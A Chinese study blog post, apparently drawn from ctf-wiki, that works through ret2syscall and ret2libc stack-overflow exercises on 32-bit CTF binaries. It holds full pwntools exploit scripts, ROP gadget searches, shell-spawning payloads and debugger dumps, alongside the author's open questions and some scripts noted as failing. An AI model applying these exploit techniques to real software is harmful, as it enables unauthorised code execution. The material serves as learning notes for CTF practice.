这部分主要来源于ctf-wiki
ret2syscall 这个其实就是利用了系统调用(syscall), 什么是系统调用呢? 参看基础知识篇,这里没有system了,但是不影响getshell,因为system的底层是调用的execve系统调用,我们只需要找到gadget,来构造系统调用,调用execve,然后传入参数/bin/sh,即可. 即 execve(“/bin/sh”)
针对系统调用还有很多其他的利用方法,比如经典的ROW,就是说如果我们不能够执行execve getshell的话,我们可以想办法读取flag,毕竟我们的目的就是拿到flag,可以进行read open write将flag写入一个地方,然后打印出来即可.(后面再写相关的)
这里我们利用的是 execve(“/bin/sh”,NULL,NULL),系统调用的参数不是根据那个调用约定了. 不用栈传参了,都需要用到寄存器 eax ebx ecx edx 分别存放 系统调用号和第 1 2 3 个参数, 所以他们的值分别为 0xb /bin/sh 0 0 , .rodata:080BE408 aBinSh db ‘/bin/sh’,0 这个地址里存放着/bin/sh
buf 108 + 4 ebp + retaddress
寻找gadget 要找到int 0x80 gadget,以及那几个pop, 利用ROPgadget ,具体语句及结果如下
1 2 3 4 5 6 7 8 9 ROPgadget --binary rop --only 'pop|ret' | grep 'eax' ROPgadget --binary ret2syscall --only 'int' 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret0x080bb196 : pop eax ; ret 0x08049421 : int 0x80
exp 所以payload构造如下 binsh = 0x080BE408 edxecxebx = 0x0806eb90 eaxret = 0x080bb196 int80 = 0x08049421 payload = b”a”*(108 + 4) + p32(eaxret) + p32(0xb) + p32(edxecxebx) + p32(0) + p32(0) + p32(0x080BE408) + p32(int80)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context.log_level= "debug" sh = process("./ret2syscall" ) context.terminal = ['tmux' , 'splitw' , '-h' ] gdb.attach(sh,"break *0x8048e96" ) binsh = 0x080BE408 edxecxebx = 0x0806eb90 eaxret = 0x080bb196 int80 = 0x08049421 payload = b"a" *(108 + 4 ) + p32(eaxret) + p32(0xb ) + p32(edxecxebx) + p32(0 ) + p32(0 ) + p32(0x080BE408 )+p32(int80) sh.send(payload) sh.interactive()
关于esp和ret的关系,ret后esp怎么移动等,需要再看看
Pop 一次后, esp往高地址移动一个地址
为什么ret后就到了栈的下一个地址???
ret的时候, esp就指向了返回地址那一行,执行完pop后,esp移动到下一个gadget,然后ret弹出这个gadget的地址,作为下一条指令,由此一步步跟进
ret2libc 执行libc中的函数,一个关键点是找对libc版本.
通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)(它们的关系???????)
re2libc1 反汇编代码
先从它自身寻找system和/bin/sh
1 2 3 4 5 6 7 8 ROPgadget --binary ret2libc1 --string '/bin/sh' 0x08048720 : /bin/sh # objdump -d ret2libc1 | grep "system" 08048460 <system@plt>:8048611 : e8 4 a fe ff ff call 8048460 <system@plt>
其活了,就覆盖返回地址为system,然后给它传参就好了,问题是怎么传参呢?栈的结构是怎样的?
当走到返回地址这里时,进入call system,就相当于新调用了一个函数,
说实话这里还是不太懂流程,不过最好的办法就是自己去调试!
1 2 3 4 ► 0xf7e4c623 <gets+291 > push ecx <_IO_2_1_stdin_> 0xf7e4c624 <gets+292 > call __uflow <__uflow> 0xf7e4c629 <gets+297 > add esp, 0x10
在返回到system时,栈的结构就是这样子的了,符合上图..但也没啥…还是看书把..参见下面一章节
1 2 00 :0000 │ esp 0xffffd4e0 ◂— 0x0 01 :0004 │ 0xffffd4e4 —▸ 0x8048720 ◂— das
找到了俩地址之外,还要找好偏移,找偏移有很多种方法
// [sp+1Ch] [bp-64h]@1 这个可以吗?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 和pwn入门-1 -初识里面的例子一样,eax作为字符串的开始地址,一直往上走到ebp,所以可以在gets这里下断点,输入一些a,然后查看栈的布局即可 0x8048677 <main+95 > lea eax, [esp + 0x1c ]0x804867b <main+99 > mov dword ptr [esp], eax0x804867e <main+102 > call gets@plt <gets@plt> pwndbg> stack 00 :0000 │ esp 0xffffd540 —▸ 0xffffd55c ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' 01 :0004 │ 0xffffd544 ◂— 0x0 02 :0008 │ 0xffffd548 ◂— 0x1 03 :000 c│ 0xffffd54c ◂— 0x0 04 :0010 │ 0xffffd550 ◂— 0x0 05 :0014 │ 0xffffd554 ◂— 0x2c307d 06 :0018 │ 0xffffd558 ◂— 0x0 07 :001 c│ eax 0xffffd55c ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' pwndbg> 08 :0020 │ 0xffffd560 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' ... ↓ 7 skipped pwndbg> 10 :0040 │ 0xffffd580 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' ... ↓ 7 skipped pwndbg> 18 :0060 │ 0xffffd5a0 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' ... ↓ 7 skipped pwndbg> 20 :0080 │ 0xffffd5c0 ◂— 'aaaaaaaa' 21 :0084 │ 0xffffd5c4 ◂— 'aaaa' 22 :0088 │ ebp 0xffffd5c8 ◂— 0x0 23 :008 c│ 0xffffd5cc —▸ 0xf7dfdfa1 (__libc_start_main+241 ) ◂— add esp, 0x10 24 :0090 │ 0xffffd5d0 ◂— 0x1
上述例子中输入了108个a,所以缓冲区是108,然后ebp占4位,然后就是返回地址了
1 2 3 4 5 6 7 8 9 from pwn import *sh = process("./ret2libc1" ) binsh = 0x08048720 system = 0x08048460 payload = b"a" *112 + p32(system) + b"b" *4 + p32(binsh) sh.send(payload) sh.interactive()
函数调用、序言与后记 《计算机安全导论深度实践》p99.
函数调用 为什么system后面是exit(就是返回地址),这是因为正常情况下,我们在call 一个函数的时候,也就是一个函数被调用的时候,会把它的返回地址压入栈中 ,等返回的时候取用,但是我们这里不是正常的call,而是直接覆盖掉了返回地址,所以就没有压栈的那个操作了,所以需要我们手动把返回地址写入里面 . 此时push 返回地址进去后,esp就是下面序言的a状态
序言 序言就是函数开头处的代码,用于为函数准备栈和指针. IA-32(32位x86)体系结构中,序言内设指令为enter,具体是下面三条指令
1 2 3 pushl %ebp //保存调用者的ebp值(用于被调用函数结束后,恢复之前调用函数的栈帧) movl %esp, %ebp //把esp赋值给ebp,这样ebp就到了 被调用函数的栈帧了 subl %N, %esp //给局部变量开辟一块空间
后记 函数末尾处的代码,用于恢复栈和寄存器到函数调用之前的状态. IA-32(32位x86)体系结构中,后记内设指令是leave,具体内容是下面三条指令
1 2 3 movl %ebp, %esp //把ebp的值赋值给esp,释放掉开辟的栈空间 popl %ebp //让ebp指回调用者函数的栈帧 ret //返回 ret包含了两条指令,pop 和 jump(参上)
示例 示例程序
1 2 3 4 5 6 7 8 9 10 11 void foo (int x) { int a; a = x; } void bar () { int b=5 ; foo(b); }
gcc -m32 -S prog.c 编译成汇编代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 foo: pushl %ebp movl %esp, %ebp subl $16, %esp movl 8(%ebp), %eax movl %eax, -4(%ebp) leave ret bar: pushl %ebp movl %esp, %ebp subl $16, %esp movl $5, -4(%ebp) pushl -4(%ebp) // 这一句是干什么的?????? 这一句和上一句组合,压入参数 call foo addl $4, %esp leave ret
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void foo (int x) { int a; a = x; } void bar () { int b=5 ; foo(b); } void main () { bar(); }
关于参数等再怎么具体的,要看看编译原理? 之类的?
ret2libc2 相比ret2libc1,ret2libc2里没有/bin/sh,需要我们自己从其他渠道获取
1 2 3 4 5 6 7 8 9 10 08048490 <system@plt>:8048641 : e8 4 a fe ff ff call 8048490 <system@plt> 08048460 <gets@plt>:80486b a: e8 a1 fd ff ff call 8048460 <gets@plt> 0x0804872f : pop ebp ; ret0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret0x0804843d : pop ebx ; ret
因为ret2libc2里有gets函数,所以可以先利用这个,读取一个/bin/sh,写入到哪呢? 写入到bss段,为什么写入到bss段呢?bss段的地址又怎么选呢???????
写入进去后再从这里读取就可以了!
1 2 3 4 5 6 .data:0804A03F .bss:0804A040 ; =========================================================================== .bss:0804A040 .bss:0804A040 ; Segment type: Uninitialized .bss:0804A040 ; Segment permissions: Read/Write
所以payload的构造
payload = b”a”*112 + gets + popret + buf + system + exit + buf
payload = b”a”*112 + gets + system + buf + buf
在gets的后面要跟一个pop xxx; ret 为什么呢? 因为这里本身是返回地址,在gets执行完后,要想继续执行的话,需要把后面的buf给弹出来,然后再ret,把system当成返回地址? 不知道这么理解对不对,可以调试一下看看
1 2 3 4 5 6 7 8 9 10 11 from pwn import *sh = process("./ret2libc2" ) gets = 0x08048460 system = 0x08048490 buf = 0x0804A040 popret = 0x0804843d payload = b"a" *112 + p32(gets) + p32(popret) + p32(buf) + p32(system) + p32(0 ) + p32(buf) sh.send(payload) sh.interactive()
感觉能行,但是有点小问题,,还有那这个payload是不是也可以呢?payload = b”a”*112 + p32(gets) + p32(system) + p32(buf) + p32(buf),如果按照上面的逻辑的话,是的,这个payload没问题! 所以,究其根本我们是伪造了函数执行过程,只要符合它这个流程,理解本质,根据具体情况构造就可以了!!
(不过为什么执行一条命令就EOF了?) 那是因为 system需要获取/bin/sh…你忘了,直接输入 id whoami什么的,肯定就一次,可以直接输入/bin/sh,也可以在exp里面在加一行 sh.send(b”/bin/sh”)
不行,send不行,要两个sendline才可以,send和sendline肯定有区别,回头写pwntools时(pwn入门-6)看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *sh = process("./ret2libc2" ) gets = 0x08048460 system = 0x08048490 buf = 0x0804A040 popret = 0x0804872f payload = b"a" *112 + p32(gets) + p32(system) + p32(buf) + p32(buf) sh.sendline(payload) sh.sendline(b"/bin/sh" ) sh.interactive()
ret2libc3 相比ret2libc2,system也没了,那就需要从libc中找了,libc的话没有给你版本,就需要泄露个函数地址,然后去找版本,泄漏的话,用puts输出.
是不是需要先换个libc版本呢???? 还是什么????????????????????/不对呀,既然需要泄漏函数..那libc版本就是固定的了,为什么呢….是动态链接的事?
先打印出libc_start_main_addr 再说
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *from Libcsearcher import Libcsearchersh = process("./ret2libc3" ) ret2libc3 = ELF("./ret2libc3" ) puts_plt = ret2libc3.plt['puts' ] libc_start_main_got = ret2libc3.got['__libc_start_main' ] main = ret2libc3.plt['main' ] payload1 = b"a" *112 + puts_plt + main + libc_start_main_got sh.sendafter("Can you find it !?" ,payload1) libc_start_main_addr = u32(sh.recv()[0 :4 ]) print (libc_start_main_addr)
很奇怪,这个脚本感觉没什么问题,但是不行,下面的却可以…….感觉没有什么区别呀………..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *from LibcSearcher import LibcSearchersh = process('./ret2libc3' ) ret2libc3 = ELF('./ret2libc3' ) puts_plt = ret2libc3.plt['puts' ] libc_start_main_got = ret2libc3.got['__libc_start_main' ] main = ret2libc3.symbols['main' ] payload = flat([b'A' * 112 , puts_plt, main, libc_start_main_got]) sh.sendlineafter('Can you find it !?' , payload) print ("get the related addr" )libc_start_main_addr = u32(sh.recv()[0 :4 ]) print (hex (libc_start_main_addr))
sh.sendlineafter(‘Can you find it !?’, payload)
sh.sendafter(“Can you find it !?”,payload1)
区别在这里!!!!!
还有如果不加[0:4]会是怎样?
print(sh.recv())看看
b’\xb0\xde\xdf\xf7\nNo surprise anymore, system disappeard QQ.\nCan you find it !?’
所以是要前四个字节的意思!
libc的问题参见下面,目前就当已经解决libc的问题了,然后继续做,libcbase的话就是这个/lib/i386-linux-gnu/libc.so.6 (0xf7de5000),
然后就是获取binsh和system的地址,这个可以直接用objdump或者ROPgadget
objdump -d /lib/i386-linux-gnu/libc.so.6 | grep “system”
ROPgadget –binary /lib/i386-linux-gnu/libc.so.6 –string ‘/bin/sh’
其实泄露了地址,找到了gadget,就是最开始最简单的那个溢出了,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from LibcSearcher import LibcSearchersh = process("./ret2libc3" ) ret2libc3 = ELF("./ret2libc3" ) libc = ELF("/lib/i386-linux-gnu/libc.so.6" ) puts_plt = ret2libc3.plt['puts' ] libc_start_main_got = ret2libc3.got['__libc_start_main' ] puts_got = ret2libc3.got['puts' ] main = ret2libc3.symbols['main' ] system_addr = 0xf7de5000 + 0x0003d3d0 binsh_addr = 0xf7de5000 + 0x0017e1db payload = flat(['A' * 112 , system_addr, 0xdeadbeef , binsh_addr]) sh.sendline(payload) sh.interactive()
虽然这里没有成功,但还是看看exp,理解一下这个思路. 接收到泄露的地址后,用libcsearcher搜索一下,搜索到了之后,用libc_start_main_addr(这个就是虚拟地址) 减去 __libc_start_main的地址(在文件中的偏移),于是就得到了加载libc的基地址,就是这玩意 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7de5000),然后再从libc里面搜索要用的函数或者字符串,加上加载的基地址就可以了.
1 2 3 4 5 6 7 8 9 libc_start_main_addr = u32(sh.recv()[0 :4 ]) libc = LibcSearcher('__libc_start_main' , libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump('__libc_start_main' ) system_addr = libcbase + libc.dump('system' ) binsh_addr = libcbase + libc.dump('str_bin_sh' ) print "get shell" payload = flat(['A' * 104 , system_addr, 0xdeadbeef , binsh_addr]) sh.sendline(payload)
关于libc的问题 首先,之所以要泄露libc的版本是因为,我们要打一个远程的机器,要利用到它的libc库里的函数,但是不同版本的libc的函数位置等是不一样的,所以需要泄露远程机器的libc版本 ,然后本地patch进行调试,再打远程.
像很多博客中的例题,是没有远程环境的,所以就自己利用自己本地的环境,链接到自己本地的libc上,不过问题是,有时候libcsearch搜索自己本地的libc搜不出来,版本是错的,目前我也不知道为什么….当然这些工具本身就不是完美的.
这种题的话,如果出现上面的问题,可以就略过搜索libc的环节,直接用本地的就好了.
查看本地libc版本
1 2 3 4 5 6 # ldd --version ldd (Ubuntu GLIBC 2.27 -3u buntu1.4 ) 2.27 Copyright (C) 2018 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Written by Roland McGrath and Ulrich Drepper.
一般来说都是链接到这个默认的,可以用ldd查看一下,然后直接执行这个文件也可以看到版本
1 2 3 4 5 6 7 8 # ldd ret2libc3 linux-gate.so.1 (0xf7fd5000 ) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7de5000 ) /lib/ld-linux.so.2 (0xf7fd6000 ) # /lib/i386-linux-gnu/libc.so.6 --version GNU C Library (Ubuntu GLIBC 2.27 -3u buntu1.6 ) stable release version 2.27 . Copyright (C) 2018 Free Software Foundation, Inc.
获取libc版本的话可以有很多方式,可以到libc database网站上查,也可以用libcsearch这个库,但不一定百分百准确,
比如上面获取了libc_start_main_addr的地址后,就可以去网站上查 https://libc.blukat.me
但是确实不准……..
或者用libcsearch,在上面的代码基础上再加2行
libc = LibcSearcher(‘__libc_start_main’, libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump(‘__libc_start_main’)
1 2 3 4 5 6 7 8 9 10 11 [+] There are multiple libc that meet current constraints : 0 - libc-2.30 -13.f c31.i6861 - libc-2.30 -2 -x862 - libc-2.30 -3 -x863 - libc-2.30 -1 -x864 - libc-2.32 -16. mga8.x86_64_25 - libc-2.32 -17. mga8.x86_64_26 - libc-2.32 -20. mga8.x86_64_27 - libc-2.32 -21. mga8.x86_64_28 - libc-2.32 -18. mga8.x86_64_29 - libc-2.32 -19. mga8.x86_64_2
咱也不知道为啥..就是不对,,可能数据库汇总没收录??不对呀,这就是很常见的2.27..
残留疑问 输入到bss段中的/bin/sh有什么要求呢?哪里都可以输入吗?为什么输入到bss段?
好像是pip和github下载的libcsearch有区别
这个查的不准可以去别的地方查,把libc_start_main_addr打印出来后,去一些网址上查可以
https://www.jianshu.com/p/5525dde00053
为什么nm和exp里的输出不一样,是因为一个是静态,一个是动态加载后的吗
__libc_start_main 通过这个得到libc?
https://blog.csdn.net/weixin_45309916/article/details/119481681